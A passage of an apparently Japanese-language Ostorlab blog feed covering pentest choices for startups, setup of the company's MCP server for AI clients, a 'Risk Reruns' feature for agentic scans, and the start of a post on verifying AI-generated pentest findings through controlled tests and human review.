&lt;p&gt;&lt;strong&gt;ブラックボックステスト&lt;/strong&gt;では、テスターに事前の知識をほとんど、あるいはまったく与えません。外部の攻撃者をシミュレートできますが、調査に時間を浪費する可能性があります。予算が限られているスタートアップにとって、最初の選択肢としては最善でないことが多いでしょう。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;グレーボックステスト&lt;/strong&gt;では、ユーザーアカウント、ロール、APIドキュメント、基本的なアーキテクチャなど、ある程度の情報をテスターに与えます。テスターが現実的な攻撃経路、すなわち権限昇格、テナント分離、アクセス制御の不備、機密性の高いワークフローに集中できるため、SaaSのスタートアップにとって通常は最も高い費用対効果が得られます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ホワイトボックステスト&lt;/strong&gt;では、ソースコード、アーキテクチャ図、インフラの詳細、設計文書など、より深いアクセスをテスターに与えます。特にリスクの高いシステムでは最大限の深さが得られますが、より多くの調整が必要になります。&lt;/p&gt;
&lt;p&gt;ほとんどのスタートアップにとって、グレーボックステストが実践的なデフォルトです。&lt;/p&gt;
&lt;h2 id="脆弱性スキャナーとペンテストの両方が必要か"&gt;脆弱性スキャナーとペンテストの両方が必要か&lt;/h2&gt;
&lt;p&gt;はい。ただし、両者が解決する問題は異なります。&lt;/p&gt;
&lt;p&gt;脆弱性スキャナーはレーダーシステムのようなものです。頻繁に実行され、露出したサービス、依存関係の脆弱性、一般的な設定ミス、繰り返し発生するミスといった既知の問題の検出に役立ちます。システムは常に変化するため、これは有用です。&lt;/p&gt;
&lt;p&gt;ペンテストは、むしろ敵対的な演習に近いものです。弱点を組み合わせ、悪用し、実害を引き起こすために使えるかどうかを問います。独自のロジック、テナントの境界、認証フロー、認可ルール、機密性の高いビジネスプロセスのテストにより適しています。&lt;/p&gt;
&lt;p&gt;一方が他方の代わりになるわけではありません。継続的なスキャンは衛生状態の維持に役立ちます。ペンテストは、実際の状況におけるリスクを検証します。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="シリーズaの前にペンテストは必要か"&gt;シリーズAの前にペンテストは必要か&lt;/h3&gt;
&lt;p&gt;必ずしも必要ではありません。小規模な顧客に販売していて、機密データを扱っていないのであれば、急ぐ必要はないかもしれません。&lt;/p&gt;
&lt;p&gt;しかし、企業に販売している場合、フィンテックやヘルステックの分野で事業を行っている場合、機密性の高い顧客データを保存している場合、あるいは投資家による本格的なデューデリジェンスが見込まれる場合には、ペンテストは成熟度を示す強いシグナルになります。セキュリティが土壇場で障害になるのを防ぐこともできます。&lt;/p&gt;
&lt;h3 id="ペンテストにはどれくらいの期間がかかるか"&gt;ペンテストにはどれくらいの期間がかかるか&lt;/h3&gt;
&lt;p&gt;手動のペンテストでは、多くの場合、実際のテストに1〜3週間かかり、さらにレポートの作成期間が加わります。ベンダーのスケジュール調整によって、テストが始まる前に4〜8週間が上乗せされることもあります。&lt;/p&gt;
&lt;p&gt;自律型やAI支援型のテストでは、スコープと環境の準備状況に応じて、実行時間を数時間から数日に短縮できます。重要なのはスピードだけではありません。成果物が検証済みで、有用であり、それを求める相手に受け入れられるかどうかです。&lt;/p&gt;
&lt;h3 id="スタートアップに最適なペンテストの種類は"&gt;スタートアップに最適なペンテストの種類は&lt;/h3&gt;
&lt;p&gt;ほとんどのSaaSスタートアップにとって、WebアプリケーションとAPIのグレーボックステストが最適な出発点です。現実的なユーザーロール、マルチテナントのアクセスチェック、認証と認可のテスト、主要なビジネスワークフローを含めるべきです。&lt;/p&gt;
&lt;p&gt;会社がクラウドインフラに大きく依存している場合は、クラウド構成レビューを含めます。製品にモバイルアプリが含まれる場合は、モバイルアプリケーションとAPIのテストを含めます。&lt;/p&gt;
&lt;h3 id="ペンテストで問題が見つからなければ安全だと証明されたことになるか"&gt;ペンテストで問題が見つからなければ安全だと証明されたことになるか&lt;/h3&gt;
&lt;p&gt;なりません。&lt;/p&gt;
&lt;p&gt;ペンテストは、定義されたスコープを特定の時点で評価する、限定的な評価です。重要な問題を見つけることはできますが、脆弱性が存在しないことを証明することはできません。セキュリティは、アーキテクチャ、エンジニアリングの規律、監視、アクセス制御、インシデント対応、依存関係の管理、組織のインセンティブが関わる継続的なプロセスです。&lt;/p&gt;
&lt;p&gt;問題のないレポートは有用です。それをセキュリティの証明として扱うのは危険です。&lt;/p&gt;
&lt;h3 id="ペンテストのベンダーには何を尋ねるべきか"&gt;ペンテストのベンダーには何を尋ねるべきか&lt;/h3&gt;
&lt;p&gt;実践的な質問をしましょう。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;スコープには何が含まれるか。&lt;/li&gt;
&lt;li&gt;認証と認可をどのようにテストするか。&lt;/li&gt;
&lt;li&gt;ビジネスロジックをテストするか。&lt;/li&gt;
&lt;li&gt;検出結果をどのように検証するか。&lt;/li&gt;
&lt;li&gt;レポートにはどのようなエビデンスが含まれるか。&lt;/li&gt;
&lt;li&gt;修復ガイダンスを提供するか。&lt;/li&gt;
&lt;li&gt;再テストは含まれているか。&lt;/li&gt;
&lt;li&gt;レポートに証明レターは含まれるか。&lt;/li&gt;
&lt;li&gt;そのレポートは、SOC 2の監査人やエンタープライズの調達チームに受け入れられた実績があるか。&lt;/li&gt;
&lt;li&gt;どれくらい早く開始できるか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;その答えから、ベンダーが売っているのがセキュリティの仕事なのか、セキュリティの書類なのかが分かります。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;ペンテストは魔法ではありません。それだけで安全でない会社を安全にすることはありません。セキュアな設計、コードレビュー、依存関係の管理、ロギング、監視、インシデント対応に取って代わるものでもありません。&lt;/p&gt;
&lt;p&gt;しかし、スタートアップにとって、ペンテストは重要な役割を果たします。エビデンスを提供します。弱点を明らかにします。購買担当者、監査人、投資家の要求を満たす助けになります。そして適切に実施されれば、組織が攻撃者と同じ視点で自社のシステムを見ることを促します。&lt;/p&gt;
&lt;p&gt;最良のペンテストとは、最も分厚いPDFを生み出すものではありません。実在する問題を見つけ、それを明確に説明し、エンジニアの修正を助け、顧客と監査人が信頼できるエビデンスを生み出すものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のスタートアップにとって自律型のペンテストがどのようなものになるのか、確かめてみませんか&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/demo" rel="noopener noreferrer" target="_blank"&gt;デモを予約&lt;/a&gt;して、Ostorlabの概要説明を受け、自社の技術スタックに対する費用、スコープ、適合性について透明性のある評価を確認してください。&lt;/p&gt;</content><category term="Security"/><category term="Penetration Testing"/><category term="Startups"/><category term="Security Testing"/><category term="Pentest"/><category term="DAST"/><category term="AppSec"/></entry><entry><title>Ostorlab Platform MCP Serverのご紹介</title><link href="https://blog.ostorlab.co/ja/ostorlab-platform-mcp-server.html" rel="alternate"/><published>2026-08-08T15:55:00+02:00</published><updated>2026-08-08T15:55:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-08-08:/ja/ostorlab-platform-mcp-server.html</id><summary type="html">&lt;p&gt;OstorlabがMCPに対応しました。AIアシスタントやエージェントが、権限で制御された形でセキュリティデータとワークフローにアクセスできます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ostorlabは&lt;strong&gt;Ostorlab Platform MCP ServerによるMCP&lt;/strong&gt;に対応しました。これにより、AIアシスタントやエージェントは、自社のOstorlab組織内にあるセキュリティデータやワークフローを、権限で制御された形で直接扱えるようになります。&lt;/p&gt;
&lt;p&gt;つまり、MCPに対応したAIクライアントから、スキャン、脆弱性、修復チケット、アセット、連携、自動化、レポートを扱えます。スキャンの中で対応が必要な点の確認、まだ修復が必要な脆弱性の洗い出し、チケットの作成、接続済みの連携の確認、別のスキャンの開始などを依頼できます。&lt;/p&gt;
&lt;p&gt;たとえば、エージェントにスキャンの要約と要対応箇所の特定を依頼すると、エージェントはスキャンデータを取得し、脆弱性を確認し、重大度ごとにグループ化して、関連する検出結果を提示します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャンデータを照会・分析するOstorlab MCPエージェント" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_mcp/mcp-demo.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;エージェントがOstorlabに直接クエリを実行し、対応が必要な検出結果を特定しています。&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="mcpとは"&gt;MCPとは&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;MCP&lt;/strong&gt;（Model Context Protocol）は、AIアシスタントやエージェントが外部システムに接続し、そのツールを利用できるようにする標準です。UIを操作したり、API呼び出しを手作業で組み立てたりする代わりに、MCPに対応したクライアントは定義済みのツールを呼び出し、構造化された結果を受け取れます。&lt;/p&gt;
&lt;p&gt;Ostorlab Platform MCP Serverでは、これらのツールが自社のOstorlab組織に接続されます。AIはプラットフォーム上にすでにあるセキュリティのコンテキストを活用でき、許可されている場合は、その情報を手作業で会話に持ち込まなくても次のアクションを実行できます。&lt;/p&gt;
&lt;h3 id="組織レベルのアクセス制御"&gt;組織レベルのアクセス制御&lt;/h3&gt;
&lt;p&gt;Ostorlab MCP Serverへのアクセスは、エンドポイントURLに含まれる&lt;strong&gt;組織APIキー&lt;/strong&gt;によって制御されます。各ツールは、操作を実行する前に、そのキーに関連付けられたロールと権限を確認します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;READ&lt;/strong&gt;：データを参照する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WRITE&lt;/strong&gt;：データを作成または変更する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ADMIN&lt;/strong&gt;：組織の監査ログの閲覧など、特権を必要とする操作を実行する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スキャンと脆弱性へのアクセスはさらに範囲が限定されており、APIキーからは、アクセスが付与された特定のオブジェクトだけが見えます。パスワード、トークン、APIキー、OAuthシークレット、Webhook URLなどの機密情報は、MCP経由では返されません。&lt;/p&gt;
&lt;h3 id="ostorlab mcp serverの設定"&gt;Ostorlab MCP Serverの設定&lt;/h3&gt;
&lt;p&gt;このサーバーはストリーミング可能なHTTP（streamable HTTP）を使用するため、必要なのはMCPに対応したクライアントと組織APIキーだけです。&lt;a href="https://report.ostorlab.co/integrations/api"&gt;&lt;strong&gt;Integrations/API &amp;rarr; API Keys&lt;/strong&gt;&lt;/a&gt;で、クライアントに必要な権限だけを持つAPIキーを作成し、エンドポイントをクライアントに追加します。末尾のスラッシュは省略しないでください。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Codeの場合：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;claude&lt;span class="w"&gt; &lt;/span&gt;mcp&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;--transport&lt;span class="w"&gt; &lt;/span&gt;http&lt;span class="w"&gt; &lt;/span&gt;ostorlab&lt;span class="w"&gt; &lt;/span&gt;https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;JSON形式のMCP設定を受け付けるクライアントの場合：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"ostorlab"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.ostorlab.co/apis/mcp/YOUR_API_KEY/"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;エンドポイントは認証情報として扱い、コミットしたり共有したりしないでください。接続後は、スキャンの一覧表示などの読み取り操作でアクセスを確認します。クライアントごとの詳しい設定手順とトラブルシューティングについては、&lt;a href="https://docs.ostorlab.co/api/mcp.html"&gt;&lt;strong&gt;Ostorlab MCP Serverのドキュメント&lt;/strong&gt;&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;p&gt;これは、MCPに対応したAIアシスタントやエージェントにOstorlabのセキュリティワークフローを直接届けるための、当社にとって最初の一歩です。&lt;/p&gt;
&lt;p&gt;アイデアやフィードバック、対応してほしいワークフローはありますか。&lt;a href="mailto:contact@ostorlab.co"&gt;&lt;strong&gt;フィードバックを送る &amp;rarr;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="MCP"/><category term="AI"/><category term="Automation"/></entry><entry><title>Risk Rerunsの紹介：Agentic Deep Scanのきめ細かな制御</title><link href="https://blog.ostorlab.co/ja/introducing-risk-reruns.html" rel="alternate"/><published>2026-08-07T18:50:00+02:00</published><updated>2026-08-07T18:50:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-08-07:/ja/introducing-risk-reruns.html</id><summary type="html">&lt;p&gt;Agentic Deep ScanにRisk Rerunsが登場しました。アセットの再アップロードや最初からのやり直しなしに、エフォートレベル、AIモデル、パラメーターをカスタマイズして特定のリスク調査を再実行できます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;のためのきめ細かな制御と深いカバレッジ。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Agentic Deep Scanを的を絞って制御できるよう設計された強力な機能、&lt;strong&gt;Risk Reruns&lt;/strong&gt;を発表できることを大変うれしく思います。新しいスキャンの作成、アセットの再アップロード、完了済みの評価の繰り返しを必要とせずに、カスタマイズしたAIモデル、より高いエフォートプロファイル、更新したパラメーターを使って、個々のリスク調査を必要なときに再実行できるようになりました。&lt;/p&gt;
&lt;h3 id="agentic deep scanにおける「リスク」とは"&gt;Agentic Deep Scanにおける「リスク」とは&lt;/h3&gt;
&lt;p&gt;OstorlabのAgentic Deep Scanフレームワークにおいて、&lt;strong&gt;リスク&lt;/strong&gt;とは、特定の攻撃ベクトルを対象とした自律的で的を絞ったセキュリティ調査を表します。たとえば、オブジェクトレベルの認可の不備（BOLA）のテスト、ハードコードされたシークレットの抽出、JWTの検証の欠陥などです。フルスキャンでは、数十の専門的なリスクエージェントが並行して実行され、アプリケーションを評価します。&lt;/p&gt;
&lt;h2 id="きめ細かな制御による、より深いカバレッジ"&gt;きめ細かな制御による、より深いカバレッジ&lt;/h2&gt;
&lt;p&gt;Risk Rerunsの中核的な利点は、セキュリティチームがスキャンの実行を極めて精密に制御できることです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;調査の深さの調整&lt;/strong&gt;：より深いAIの推論を必要とする複雑なビジネスロジックのリスクに対して、予算やエフォートの割り当てを増やせます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モデルとプロバイダーの柔軟性&lt;/strong&gt;：AIプロバイダーを切り替えたり（BYOKとプリペイドモデルなど）、複雑な脆弱性の検証に適した専門的なモデルを選んだりできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手間のかからない継続&lt;/strong&gt;：副次的な利点として、長時間実行されるスキャンがタイムアウトした場合、プロバイダーで一時的なエラーが発生した場合、あるいは実行途中で手動停止された場合でも、Risk Rerunsを使えばそれまでの進捗を失うことなく中断したところから再開できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これまでは、設定を微調整したり、部分的なチェックを完了させたりするには、スキャン一式全体を最初から再実行する必要がありました。Risk Rerunsを使えば、AIの計算リソースを最も必要な箇所に的確に集中させることができます。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;リスクの再実行は、スキャンのリスクダッシュボードから直接、手間なく行えるよう設計されています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Risk Rerunsのインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_introducing_risk_reruns/risk_reruns.webp"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;特定のリスクを選択&lt;/strong&gt;：スキャン結果から直接、最大100件のリスク（未完了、完了済み、またはより深い調査が必要なもの）を選択します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行パラメーターを設定&lt;/strong&gt;：その場で設定を調整します。AIモデルの切り替え、トークン予算の増加、エフォートプロファイルの引き上げが可能です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;起動と統合&lt;/strong&gt;：実行をクリックします。Ostorlabは、選択されたリスクを保存済みの認証情報とアセットのコンテキストとともに自動的にパッケージ化します。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="主なメリット"&gt;主なメリット&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;統合された結果&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;再実行による検出結果は元のスキャンダッシュボードにシームレスに統合され、一つの包括的な監査レポートになります。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;独立した実行&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;各リスクは分離して実行されます。5つのリスクを再実行した場合でも、一つが失敗しても他のリスクの実行には影響しません。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;繰り返しゼロ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スキャンの名前変更、バイナリの再アップロード、別個のジョブの管理は不要です。プラットフォームがセッションの完全なコンテキストを保持します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;スマートな検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;組み込みのガードレールが、トークンを送出する前にターゲットの状態とパラメーターを検証し、不要な支出を防ぎます。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="今すぐ試す"&gt;今すぐ試す&lt;/h2&gt;
&lt;p&gt;Risk Rerunsは現在、すべてのAgentic Deep Scanで利用できます。&lt;a href="https://report.ostorlab.co/"&gt;Ostorlab Platform&lt;/a&gt;にログインしてお試しください。調査をさらに深めたい場合でも、中断された実行を完了させたい場合でも、リスクを選択し、設定をカスタマイズして、起動するだけです。&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="Agentic Deep Scan"/><category term="Risk Reruns"/><category term="Product Update"/></entry><entry><title>AIは攻撃を実行できる。その結果を信頼できるか</title><link href="https://blog.ostorlab.co/ja/can-you-trust-ai-pentesting-results.html" rel="alternate"/><published>2026-08-06T13:35:00+02:00</published><updated>2026-08-10T18:01:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-08-06:/ja/can-you-trust-ai-pentesting-results.html</id><summary type="html">&lt;p&gt;AIは数秒で説得力のあるエクスプロイトのストーリーを作り出せます。そのストーリーがセキュリティチームの信頼できる検出結果になるかどうかは、実行時の実証、ネガティブコントロール、そして人間によるレビューが決めます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;AIエージェントが説得力のあるエクスプロイトの物語を作り出したなら、その検出結果は信頼できる。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;いいえ。もっともらしい説明は、依然として手がかりにすぎません。&lt;/p&gt;
&lt;p&gt;ある認可されたモバイルアプリケーションのスキャンの際、当社のワークフローは、アカウント処理のフローに認可の失敗と見られるものを浮かび上がらせました。クライアントは、バックエンド呼び出しにアプリケーションレベルの認証情報を使い、機密性の高いリクエストには2つ目のアカウント固有の認証情報を使っているように見えました。あるエンドポイントは、その2つ目の認証情報なしでリクエストを受け付けているようでした。&lt;/p&gt;
&lt;p&gt;当社は調査に着手し、検出結果の報告を保留しました。&lt;/p&gt;
&lt;p&gt;当社がこの結果を信頼したのは、制御されたリクエストを実行し、セキュリティ上の効果を観測し、ネガティブコントロールを確認し、同じヘッダーを欠いたリクエストを拒否するエンドポイントと比較し、新しい認証情報でテストを繰り返した後のことでした。&lt;/p&gt;
&lt;p&gt;エージェントは弱点の方向を指し示しました。それがレポートに載るべきかどうかを決めたのは、テストの結果でした。&lt;/p&gt;
&lt;h2 id="認可の検出結果はどのように確定されたか"&gt;認可の検出結果はどのように確定されたか&lt;/h2&gt;
&lt;p&gt;エンドポイントがオブジェクト識別子を受け付けるのを見ただけでは、認可の不備を確定するには不十分です。当社は、想定される所有権チェックを経ずに、非公開のオブジェクトが返されたり変更されたりすることを示す必要がありました。&lt;/p&gt;
&lt;p&gt;モバイルクライアントは、有用な手がかりを与えてくれました。それはアプリケーションレベルの認証情報をバックエンドに送り、機密性の高いリクエストには別のアカウント固有の認証情報を追加していました。あるエンドポイントは、2つ目の値を要求していないように見えました。&lt;/p&gt;
&lt;p&gt;そこで当社は、認可された環境で5つのチェックを実行しました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;アプリケーション認証情報を含み、アカウント固有の認証情報を意図的に省いた、プロトコル上妥当なリクエストを作成しました。&lt;/li&gt;
&lt;li&gt;認可されたテストから得た既知の有効なアカウント識別子を使うと、名前やアカウントのメタデータを含むアカウントのフィールドが返されました。それらの値はレポートでは伏字にしてあります。&lt;/li&gt;
&lt;li&gt;無効な識別子を使うと、データではなく「存在しないアカウント」のベースラインが返されました。&lt;/li&gt;
&lt;li&gt;別の機密性の高いエンドポイントは、同じアカウント認証情報を省いたリクエストを拒否し、有用な比較対象となりました。&lt;/li&gt;
&lt;li&gt;新しいアプリケーション認証情報でも同じ挙動が再現され、キャッシュされたレスポンスや一時的なセッションがこの結果を説明する可能性を低減しました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="検証済みの認可の検出結果から得られた、伏字化したエクスプロイトのエビデンス" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_ai-pentesting-trust/validated-authorization-exploit-evidence.png" title="図1：伏字化したエクスプロイトとレスポンスのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図1：伏字化したエクスプロイトとレスポンスのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;レポートの最初の抜粋は、アプリケーションレベルのベアラー、省略されたアカウント固有の認証情報、そしてレスポンスで返された伏字化したアカウントのフィールドを示しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="認可の検出結果から得られた、伏字化した比較とネガティブコントロールのエビデンス" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_ai-pentesting-trust/validated-authorization-control-evidence.png" title="図2：伏字化した比較とネガティブコントロールのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図2：伏字化した比較とネガティブコントロールのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;2つ目の抜粋は、無効なアカウントのベースラインと、比較対象のエンドポイントがアカウント固有のヘッダーの欠如を理由にリクエストを拒否したことを記録しています。&lt;/p&gt;
&lt;p&gt;これらのスクリーンショットは、独立したパケットキャプチャではなくレポートから取得したものです。これらは調査を追跡可能にします。再現には、別のテスターが認可された環境でこの一連の手順を再実行することが依然として必要です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="確定したエンドポイント固有の認可の検出結果に対する、サニタイズ済みの検証チェーン" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_ai-pentesting-trust/08-validated-authorization.svg" title="図3：サニタイズ済みの認可検証チェーン"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図3：サニタイズ済みの認可検証チェーン&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;この再構成では、顧客の識別子、エンドポイント名、リクエストの形式、レスポンスのフィールドを省いています。&lt;/p&gt;
&lt;p&gt;これらのチェックを総合すると、限定的な結論が裏付けられました。すなわち、このエンドポイントは、想定されるアカウント固有の認証情報なしでアカウントデータを返した、ということです。このリクエストは依然としてアプリケーションレベルのベアラートークンを含んでいたため、認証情報が一切ない状態ではありませんでした。当社は、この経路を完全に未認証と呼ぶのではなく、そのレベルにとどめてレポートに記載しました。&lt;/p&gt;
&lt;p&gt;レポートは、修復と再テストの基準をもって一連の流れを締めくくりました。バックエンドは所有権を強制し、アカウント認証情報を欠いたリクエストを拒否し、クライアントに配布されるアプリケーション認証情報をユーザー認可として扱わないようにし、アカウント検索のエラーを正規化すべきです。修正後は、同じポジティブコントロールとネガティブコントロールを再度実行すべきです。&lt;/p&gt;
&lt;h2 id="何が変わったか:重大度の前に実証を"&gt;何が変わったか：重大度の前に実証を&lt;/h2&gt;
&lt;p&gt;初期のバージョンのワークフローは、手がかりから結論へと飛躍することがありました。レスポンスの差異を誤って「インジェクション」とラベル付けしたり、危険なブラウザーのシンクを「悪用可能なXSS」と呼んだり、リダイレクトを「認証バイパス」として報告したりすることがありました。どの手がかりも調査に値しましたが、どれもそのラベルを得てはいませんでした。&lt;/p&gt;
&lt;p&gt;モデルに「誤検知を避けよ」と指示しても、問題は解決しませんでした。代わりに当社は、各脆弱性クラスを確定するために必要となる最小限のエビデンスを定義しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="オブジェクトレベルの認可、インジェクション、クロスサイトスクリプティング、サーバーサイドリクエストフォージェリ、露出したシークレット、モバイルコンポーネントの各検出結果に必要な最小限のエビデンス" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_ai-pentesting-trust/06-evidence-bar.svg" title="図4：確定の前に必要な最小限のエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図4：確定の前に必要な最小限のエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;各脆弱性クラスは、確定の前にそれぞれ異なる観測可能な効果を必要とします。&lt;/p&gt;
&lt;p&gt;これらのチェックに通らなかった候補は、仮説のままとされます。このフィルターによって、裏付けのない手がかりが最終レポートに到達する可能性が低減します。当社は普遍的な割合を主張しません。その割合は、対象、アクセスレベル、脆弱性クラス、そして初期の手がかりをレポートに載せられる検出結果と並べて数えるかどうかによって変わるからです。&lt;/p&gt;
&lt;p&gt;有用な運用上の尺度は、別のテスターが調査を一から再構成せずとも、報告された検出結果のうちどれだけが再現、影響レビュー、エビデンスチェックを通過して残るか、というものです。&lt;/p&gt;
&lt;h2 id="何がカウントされるかを決めるのは、モデルではなくハーネスである"&gt;何がカウントされるかを決めるのは、モデルではなくハーネスである&lt;/h2&gt;
&lt;p&gt;言語モデルは、有用な次のテストを選ぶことはできます。しかし、疑いがいつ確定した検出結果になるかを、それ自身で決めるべきではありません。周囲を取り囲むハーネスが、スコープを強制し、ツールを制御し、観測結果を保存し、必要な実証が存在するかどうかを確認します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="認可されたスコープからエビデンスと人間によるレビューまでの、エージェント型ペンテストのワークフロー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-06_ai-pentesting-trust/07-harness-loop.svg" title="図5：エージェント型ペンテストの実証とレビューのループ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;図5：エージェント型ペンテストの実証とレビューのループ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
